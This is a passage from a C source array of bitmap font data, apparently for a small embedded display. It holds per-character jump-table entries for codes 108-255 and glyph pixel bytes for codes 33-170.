0x03, 0xA7, 0x0C, 0x07, // 108:935
|
||||
0x03, 0xB3, 0x0C, 0x07, // 109:947
|
||||
0x03, 0xBF, 0x0C, 0x07, // 110:959
|
||||
0x03, 0xCB, 0x0C, 0x07, // 111:971
|
||||
0x03, 0xD7, 0x0C, 0x07, // 112:983
|
||||
0x03, 0xE3, 0x0C, 0x07, // 113:995
|
||||
0x03, 0xEF, 0x0D, 0x07, // 114:1007
|
||||
0x03, 0xFC, 0x0C, 0x07, // 115:1020
|
||||
0x04, 0x08, 0x0C, 0x07, // 116:1032
|
||||
0x04, 0x14, 0x0C, 0x07, // 117:1044
|
||||
0x04, 0x20, 0x0B, 0x07, // 118:1056
|
||||
0x04, 0x2B, 0x0D, 0x07, // 119:1067
|
||||
0x04, 0x38, 0x0C, 0x07, // 120:1080
|
||||
0x04, 0x44, 0x0B, 0x07, // 121:1092
|
||||
0x04, 0x4F, 0x0C, 0x07, // 122:1103
|
||||
0x04, 0x5B, 0x0C, 0x07, // 123:1115
|
||||
0x04, 0x67, 0x08, 0x07, // 124:1127
|
||||
0x04, 0x6F, 0x0B, 0x07, // 125:1135
|
||||
0x04, 0x7A, 0x0E, 0x07, // 126:1146
|
||||
0x04, 0x88, 0x0E, 0x07, // 127:1160
|
||||
0x04, 0x96, 0x0E, 0x07, // 128:1174
|
||||
0x04, 0xA4, 0x0E, 0x07, // 129:1188
|
||||
0x04, 0xB2, 0x0E, 0x07, // 130:1202
|
||||
0x04, 0xC0, 0x0E, 0x07, // 131:1216
|
||||
0x04, 0xCE, 0x0E, 0x07, // 132:1230
|
||||
0x04, 0xDC, 0x0E, 0x07, // 133:1244
|
||||
0x04, 0xEA, 0x0E, 0x07, // 134:1258
|
||||
0x04, 0xF8, 0x0E, 0x07, // 135:1272
|
||||
0x05, 0x06, 0x0E, 0x07, // 136:1286
|
||||
0x05, 0x14, 0x0E, 0x07, // 137:1300
|
||||
0x05, 0x22, 0x0E, 0x07, // 138:1314
|
||||
0x05, 0x30, 0x0E, 0x07, // 139:1328
|
||||
0x05, 0x3E, 0x0E, 0x07, // 140:1342
|
||||
0x05, 0x4C, 0x0E, 0x07, // 141:1356
|
||||
0x05, 0x5A, 0x0E, 0x07, // 142:1370
|
||||
0x05, 0x68, 0x0E, 0x07, // 143:1384
|
||||
0x05, 0x76, 0x0E, 0x07, // 144:1398
|
||||
0x05, 0x84, 0x0E, 0x07, // 145:1412
|
||||
0x05, 0x92, 0x0E, 0x07, // 146:1426
|
||||
0x05, 0xA0, 0x0E, 0x07, // 147:1440
|
||||
0x05, 0xAE, 0x0E, 0x07, // 148:1454
|
||||
0x05, 0xBC, 0x0E, 0x07, // 149:1468
|
||||
0x05, 0xCA, 0x0E, 0x07, // 150:1482
|
||||
0x05, 0xD8, 0x0E, 0x07, // 151:1496
|
||||
0x05, 0xE6, 0x0E, 0x07, // 152:1510
|
||||
0x05, 0xF4, 0x0E, 0x07, // 153:1524
|
||||
0x06, 0x02, 0x0E, 0x07, // 154:1538
|
||||
0x06, 0x10, 0x0E, 0x07, // 155:1552
|
||||
0x06, 0x1E, 0x0E, 0x07, // 156:1566
|
||||
0x06, 0x2C, 0x0E, 0x07, // 157:1580
|
||||
0x06, 0x3A, 0x0E, 0x07, // 158:1594
|
||||
0x06, 0x48, 0x0E, 0x07, // 159:1608
|
||||
0xFF, 0xFF, 0x00, 0x07, // 160:65535
|
||||
0x06, 0x56, 0x08, 0x07, // 161:1622
|
||||
0x06, 0x5E, 0x0C, 0x07, // 162:1630
|
||||
0x06, 0x6A, 0x0C, 0x07, // 163:1642
|
||||
0x06, 0x76, 0x0E, 0x07, // 164:1654
|
||||
0x06, 0x84, 0x0D, 0x07, // 165:1668
|
||||
0x06, 0x91, 0x08, 0x07, // 166:1681
|
||||
0x06, 0x99, 0x0C, 0x07, // 167:1689
|
||||
0x06, 0xA5, 0x09, 0x07, // 168:1701
|
||||
0x06, 0xAE, 0x0E, 0x07, // 169:1710
|
||||
0x06, 0xBC, 0x0A, 0x07, // 170:1724
|
||||
0x06, 0xC6, 0x0E, 0x07, // 171:1734
|
||||
0x06, 0xD4, 0x0E, 0x07, // 172:1748
|
||||
0x06, 0xE2, 0x0A, 0x07, // 173:1762
|
||||
0x06, 0xEC, 0x0E, 0x07, // 174:1772
|
||||
0x06, 0xFA, 0x0B, 0x07, // 175:1786
|
||||
0x07, 0x05, 0x0B, 0x07, // 176:1797
|
||||
0x07, 0x10, 0x0E, 0x07, // 177:1808
|
||||
0x07, 0x1E, 0x09, 0x07, // 178:1822
|
||||
0x07, 0x27, 0x0B, 0x07, // 179:1831
|
||||
0x07, 0x32, 0x09, 0x07, // 180:1842
|
||||
0x07, 0x3B, 0x0E, 0x07, // 181:1851
|
||||
0x07, 0x49, 0x0E, 0x07, // 182:1865
|
||||
0x07, 0x57, 0x08, 0x07, // 183:1879
|
||||
0x07, 0x5F, 0x0A, 0x07, // 184:1887
|
||||
0x07, 0x69, 0x09, 0x07, // 185:1897
|
||||
0x07, 0x72, 0x0A, 0x07, // 186:1906
|
||||
0x07, 0x7C, 0x0E, 0x07, // 187:1916
|
||||
0x07, 0x8A, 0x0E, 0x07, // 188:1930
|
||||
0x07, 0x98, 0x0C, 0x07, // 189:1944
|
||||
0x07, 0xA4, 0x0E, 0x07, // 190:1956
|
||||
0x07, 0xB2, 0x0A, 0x07, // 191:1970
|
||||
0x07, 0xBC, 0x0E, 0x07, // 192:1980
|
||||
0x07, 0xCA, 0x0E, 0x07, // 193:1994
|
||||
0x07, 0xD8, 0x0E, 0x07, // 194:2008
|
||||
0x07, 0xE6, 0x0E, 0x07, // 195:2022
|
||||
0x07, 0xF4, 0x0E, 0x07, // 196:2036
|
||||
0x08, 0x02, 0x0E, 0x07, // 197:2050
|
||||
0x08, 0x10, 0x0E, 0x07, // 198:2064
|
||||
0x08, 0x1E, 0x0E, 0x07, // 199:2078
|
||||
0x08, 0x2C, 0x0E, 0x07, // 200:2092
|
||||
0x08, 0x3A, 0x0E, 0x07, // 201:2106
|
||||
0x08, 0x48, 0x0E, 0x07, // 202:2120
|
||||
0x08, 0x56, 0x0E, 0x07, // 203:2134
|
||||
0x08, 0x64, 0x0C, 0x07, // 204:2148
|
||||
0x08, 0x70, 0x0C, 0x07, // 205:2160
|
||||
0x08, 0x7C, 0x0C, 0x07, // 206:2172
|
||||
0x08, 0x88, 0x0C, 0x07, // 207:2184
|
||||
0x08, 0x94, 0x0E, 0x07, // 208:2196
|
||||
0x08, 0xA2, 0x0E, 0x07, // 209:2210
|
||||
0x08, 0xB0, 0x0E, 0x07, // 210:2224
|
||||
0x08, 0xBE, 0x0E, 0x07, // 211:2238
|
||||
0x08, 0xCC, 0x0E, 0x07, // 212:2252
|
||||
0x08, 0xDA, 0x0E, 0x07, // 213:2266
|
||||
0x08, 0xE8, 0x0E, 0x07, // 214:2280
|
||||
0x08, 0xF6, 0x0C, 0x07, // 215:2294
|
||||
0x09, 0x02, 0x0E, 0x07, // 216:2306
|
||||
0x09, 0x10, 0x0E, 0x07, // 217:2320
|
||||
0x09, 0x1E, 0x0E, 0x07, // 218:2334
|
||||
0x09, 0x2C, 0x0E, 0x07, // 219:2348
|
||||
0x09, 0x3A, 0x0E, 0x07, // 220:2362
|
||||
0x09, 0x48, 0x0D, 0x07, // 221:2376
|
||||
0x09, 0x55, 0x0D, 0x07, // 222:2389
|
||||
0x09, 0x62, 0x0C, 0x07, // 223:2402
|
||||
0x09, 0x6E, 0x0C, 0x07, // 224:2414
|
||||
0x09, 0x7A, 0x0C, 0x07, // 225:2426
|
||||
0x09, 0x86, 0x0C, 0x07, // 226:2438
|
||||
0x09, 0x92, 0x0C, 0x07, // 227:2450
|
||||
0x09, 0x9E, 0x0C, 0x07, // 228:2462
|
||||
0x09, 0xAA, 0x0C, 0x07, // 229:2474
|
||||
0x09, 0xB6, 0x0C, 0x07, // 230:2486
|
||||
0x09, 0xC2, 0x0C, 0x07, // 231:2498
|
||||
0x09, 0xCE, 0x0C, 0x07, // 232:2510
|
||||
0x09, 0xDA, 0x0C, 0x07, // 233:2522
|
||||
0x09, 0xE6, 0x0C, 0x07, // 234:2534
|
||||
0x09, 0xF2, 0x0C, 0x07, // 235:2546
|
||||
0x09, 0xFE, 0x0C, 0x07, // 236:2558
|
||||
0x0A, 0x0A, 0x0C, 0x07, // 237:2570
|
||||
0x0A, 0x16, 0x0C, 0x07, // 238:2582
|
||||
0x0A, 0x22, 0x0C, 0x07, // 239:2594
|
||||
0x0A, 0x2E, 0x0C, 0x07, // 240:2606
|
||||
0x0A, 0x3A, 0x0C, 0x07, // 241:2618
|
||||
0x0A, 0x46, 0x0C, 0x07, // 242:2630
|
||||
0x0A, 0x52, 0x0C, 0x07, // 243:2642
|
||||
0x0A, 0x5E, 0x0C, 0x07, // 244:2654
|
||||
0x0A, 0x6A, 0x0C, 0x07, // 245:2666
|
||||
0x0A, 0x76, 0x0C, 0x07, // 246:2678
|
||||
0x0A, 0x82, 0x0C, 0x07, // 247:2690
|
||||
0x0A, 0x8E, 0x0C, 0x07, // 248:2702
|
||||
0x0A, 0x9A, 0x0C, 0x07, // 249:2714
|
||||
0x0A, 0xA6, 0x0C, 0x07, // 250:2726
|
||||
0x0A, 0xB2, 0x0C, 0x07, // 251:2738
|
||||
0x0A, 0xBE, 0x0C, 0x07, // 252:2750
|
||||
0x0A, 0xCA, 0x0B, 0x07, // 253:2762
|
||||
0x0A, 0xD5, 0x0C, 0x07, // 254:2773
|
||||
0x0A, 0xE1, 0x0B, 0x07, // 255:2785
|
||||
|
||||
// Font Data:
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x0D, // 33
|
||||
0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x38, // 34
|
||||
0x00, 0x02, 0x40, 0x0E, 0xE0, 0x03, 0x50, 0x0A, 0xC0, 0x07, 0x70, 0x02, 0x40, // 35
|
||||
0x00, 0x00, 0xE0, 0x04, 0x90, 0x08, 0xF8, 0x3F, 0x10, 0x09, 0x20, 0x07, // 36
|
||||
0x30, 0x00, 0x48, 0x01, 0x48, 0x01, 0xB0, 0x06, 0x80, 0x09, 0x40, 0x09, 0x00, 0x06, // 37
|
||||
0x00, 0x00, 0x00, 0x07, 0xF0, 0x0C, 0xC8, 0x08, 0x08, 0x0B, 0x08, 0x06, 0x00, 0x0B, // 38
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, // 39
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x03, 0x1C, 0x1C, 0x04, 0x10, // 40
|
||||
0x00, 0x00, 0x00, 0x00, 0x04, 0x10, 0x1C, 0x1C, 0xE0, 0x03, // 41
|
||||
0x00, 0x00, 0x90, 0x00, 0x60, 0x00, 0xF8, 0x01, 0x60, 0x00, 0x90, // 42
|
||||
0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0xE0, 0x0F, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 43
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x0C, // 44
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 45
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, // 46
|
||||
0x00, 0x00, 0x00, 0x10, 0x00, 0x0C, 0x00, 0x03, 0xC0, 0x00, 0x30, 0x00, 0x08, // 47
|
||||
0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x88, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 48
|
||||
0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x0F, 0x00, 0x08, 0x00, 0x08, // 49
|
||||
0x00, 0x00, 0x10, 0x08, 0x08, 0x0C, 0x08, 0x0A, 0x08, 0x09, 0x88, 0x08, 0x70, 0x08, // 50
|
||||
0x00, 0x00, 0x10, 0x04, 0x08, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 51
|
||||
0x00, 0x00, 0x00, 0x03, 0xC0, 0x02, 0x60, 0x02, 0x18, 0x02, 0xF8, 0x0F, 0x00, 0x02, // 52
|
||||
0x00, 0x00, 0x78, 0x04, 0x48, 0x08, 0x48, 0x08, 0x48, 0x08, 0xC8, 0x0C, 0x80, 0x07, // 53
|
||||
0x00, 0x00, 0xE0, 0x03, 0x90, 0x0C, 0x48, 0x08, 0x48, 0x08, 0xC8, 0x0C, 0x90, 0x07, // 54
|
||||
0x00, 0x00, 0x08, 0x00, 0x08, 0x08, 0x08, 0x06, 0x88, 0x01, 0x78, 0x00, 0x18, // 55
|
||||
0x00, 0x00, 0x70, 0x07, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 56
|
||||
0x00, 0x00, 0xF0, 0x04, 0x18, 0x09, 0x08, 0x09, 0x08, 0x09, 0x98, 0x04, 0xE0, 0x03, // 57
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x0C, // 58
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xC0, 0x0C, // 59
|
||||
0x00, 0x00, 0x80, 0x01, 0x80, 0x01, 0x40, 0x02, 0x40, 0x02, 0x40, 0x02, 0x20, 0x04, // 60
|
||||
0x00, 0x00, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, // 61
|
||||
0x00, 0x00, 0x20, 0x04, 0x40, 0x02, 0x40, 0x02, 0x40, 0x02, 0x80, 0x01, 0x80, 0x01, // 62
|
||||
0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x88, 0x0D, 0xC8, 0x00, 0x48, 0x00, 0x30, // 63
|
||||
0x00, 0x00, 0xC0, 0x0F, 0x20, 0x18, 0x10, 0x23, 0x90, 0x24, 0xB0, 0x24, 0xE0, 0x07, // 64
|
||||
0x00, 0x00, 0x00, 0x0C, 0xC0, 0x03, 0x38, 0x02, 0x38, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 65
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 66
|
||||
0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x10, 0x04, // 67
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x10, 0x04, 0xE0, 0x03, // 68
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, // 69
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, // 70
|
||||
0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x08, 0x08, 0x08, 0x88, 0x08, 0x90, 0x07, // 71
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0xF8, 0x0F, // 72
|
||||
0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x0F, 0x08, 0x08, 0x08, 0x08, // 73
|
||||
0x00, 0x00, 0x00, 0x04, 0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x07, // 74
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x80, 0x00, 0xC0, 0x00, 0x20, 0x03, 0x10, 0x06, 0x08, 0x08, // 75
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, // 76
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x30, 0x00, 0xC0, 0x01, 0xC0, 0x01, 0x30, 0x00, 0xF8, 0x0F, // 77
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x18, 0x00, 0xE0, 0x00, 0x80, 0x03, 0x00, 0x0C, 0xF8, 0x0F, // 78
|
||||
0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 79
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x70, // 80
|
||||
0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x18, 0x3C, 0xE0, 0x07, // 81
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x01, 0x70, 0x06, // 82
|
||||
0x00, 0x00, 0x70, 0x04, 0xC8, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x10, 0x07, // 83
|
||||
0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0xF8, 0x0F, 0x08, 0x00, 0x08, 0x00, 0x08, // 84
|
||||
0x00, 0x00, 0xF8, 0x07, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xF8, 0x07, // 85
|
||||
0x00, 0x00, 0x18, 0x00, 0xE0, 0x01, 0x00, 0x0E, 0x00, 0x0E, 0xE0, 0x01, 0x18, // 86
|
||||
0xF8, 0x01, 0x00, 0x0E, 0xC0, 0x03, 0x30, 0x00, 0xC0, 0x03, 0x00, 0x0E, 0xF8, 0x01, // 87
|
||||
0x00, 0x00, 0x08, 0x08, 0x30, 0x06, 0xC0, 0x01, 0xC0, 0x01, 0x30, 0x06, 0x08, 0x08, // 88
|
||||
0x08, 0x00, 0x10, 0x00, 0x60, 0x00, 0x80, 0x0F, 0x60, 0x00, 0x10, 0x00, 0x08, // 89
|
||||
0x00, 0x00, 0x08, 0x0C, 0x08, 0x0E, 0x88, 0x09, 0xC8, 0x08, 0x38, 0x08, 0x18, 0x08, // 90
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFC, 0x1F, 0x04, 0x10, // 91
|
||||
0x00, 0x00, 0x08, 0x00, 0x30, 0x00, 0xC0, 0x00, 0x00, 0x03, 0x00, 0x0C, 0x00, 0x10, // 92
|
||||
0x00, 0x00, 0x00, 0x00, 0x04, 0x10, 0xFC, 0x1F, // 93
|
||||
0x20, 0x00, 0x10, 0x00, 0x08, 0x00, 0x08, 0x00, 0x10, 0x00, 0x20, // 94
|
||||
0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, // 95
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x08, // 96
|
||||
0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x20, 0x09, 0x20, 0x09, 0xC0, 0x0F, // 97
|
||||
0x00, 0x00, 0xFC, 0x0F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 98
|
||||
0x00, 0x00, 0xC0, 0x07, 0x60, 0x0C, 0x20, 0x08, 0x20, 0x08, 0x40, 0x08, // 99
|
||||
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xFC, 0x0F, // 100
|
||||
0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x20, 0x09, 0x20, 0x09, 0xC0, 0x05, // 101
|
||||
0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0xF8, 0x0F, 0x24, 0x00, 0x24, // 102
|
||||
0x00, 0x00, 0xC0, 0x07, 0x20, 0x28, 0x20, 0x48, 0x20, 0x48, 0xE0, 0x3F, // 103
|
||||
0x00, 0x00, 0xFC, 0x0F, 0x40, 0x00, 0x20, 0x00, 0x20, 0x00, 0xC0, 0x0F, // 104
|
||||
0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE4, 0x0F, 0x00, 0x08, 0x00, 0x08, // 105
|
||||
0x00, 0x00, 0x00, 0x00, 0x20, 0x40, 0x20, 0x40, 0xE4, 0x3F, // 106
|
||||
0x00, 0x00, 0xFC, 0x0F, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, 0x20, 0x08, // 107
|
||||
0x00, 0x00, 0x04, 0x00, 0x04, 0x00, 0xFC, 0x07, 0x00, 0x08, 0x00, 0x08, // 108
|
||||
0x00, 0x00, 0xE0, 0x0F, 0x20, 0x00, 0xE0, 0x0F, 0x20, 0x00, 0xE0, 0x0F, // 109
|
||||
0x00, 0x00, 0xE0, 0x0F, 0x40, 0x00, 0x20, 0x00, 0x20, 0x00, 0xC0, 0x0F, // 110
|
||||
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 111
|
||||
0x00, 0x00, 0xE0, 0x7F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 112
|
||||
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xE0, 0x7F, // 113
|
||||
0x00, 0x00, 0x00, 0x00, 0xE0, 0x0F, 0x60, 0x00, 0x20, 0x00, 0x20, 0x00, 0x40, // 114
|
||||
0x00, 0x00, 0xC0, 0x04, 0x20, 0x09, 0x20, 0x09, 0x20, 0x09, 0x40, 0x06, // 115
|
||||
0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0xF8, 0x0F, 0x20, 0x08, 0x20, 0x08, // 116
|
||||
0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xE0, 0x0F, // 117
|
||||
0x00, 0x00, 0x60, 0x00, 0x80, 0x03, 0x00, 0x0C, 0x80, 0x03, 0x60, // 118
|
||||
0x60, 0x00, 0x80, 0x03, 0x00, 0x0E, 0x80, 0x01, 0x00, 0x0E, 0x80, 0x03, 0x60, // 119
|
||||
0x00, 0x00, 0x20, 0x08, 0xC0, 0x06, 0x00, 0x01, 0xC0, 0x06, 0x20, 0x08, // 120
|
||||
0x00, 0x00, 0x60, 0x40, 0x80, 0x67, 0x00, 0x1C, 0x80, 0x03, 0x60, // 121
|
||||
0x00, 0x00, 0x20, 0x0C, 0x20, 0x0A, 0x20, 0x09, 0xA0, 0x08, 0x60, 0x08, // 122
|
||||
0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x7C, 0x1F, 0x04, 0x10, 0x04, 0x10, // 123
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFC, 0x3F, // 124
|
||||
0x00, 0x00, 0x04, 0x10, 0x04, 0x10, 0x7C, 0x1F, 0x80, 0x00, 0x80, // 125
|
||||
0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 126
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 127
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 128
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 129
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 130
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 131
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 132
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 133
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 134
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 135
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 136
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 137
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 138
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 139
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 140
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 141
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 142
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 143
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 144
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 145
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 146
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 147
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 148
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 149
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 150
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 151
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 152
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 153
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 154
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 155
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 156
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 157
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 158
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 159
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x3F, // 161
|
||||
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0xF8, 0x3F, 0x20, 0x08, 0x40, 0x04, // 162
|
||||
0x00, 0x00, 0x80, 0x08, 0xF0, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x08, 0x08, // 163
|
||||
0x00, 0x00, 0x20, 0x04, 0xC0, 0x03, 0x40, 0x02, 0x40, 0x02, 0xC0, 0x03, 0x20, 0x04, // 164
|
||||
0x08, 0x00, 0x50, 0x01, 0x60, 0x01, 0x80, 0x0F, 0x60, 0x01, 0x50, 0x01, 0x08, // 165
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x3C, // 166
|
||||
0x00, 0x00, 0xF0, 0x11, 0x28, 0x13, 0x48, 0x12, 0xC8, 0x14, 0x88, 0x0F, // 167
|
||||
0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08, // 168
|
||||
0xC0, 0x01, 0x20, 0x02, 0xD0, 0x05, 0x50, 0x05, 0x50, 0x05, 0x20, 0x02, 0xC0, 0x01, // 169
|
||||
0x00, 0x00, 0xE8, 0x02, 0xA8, 0x02, 0xA8, 0x02, 0xF0, 0x02, // 170
|
||||
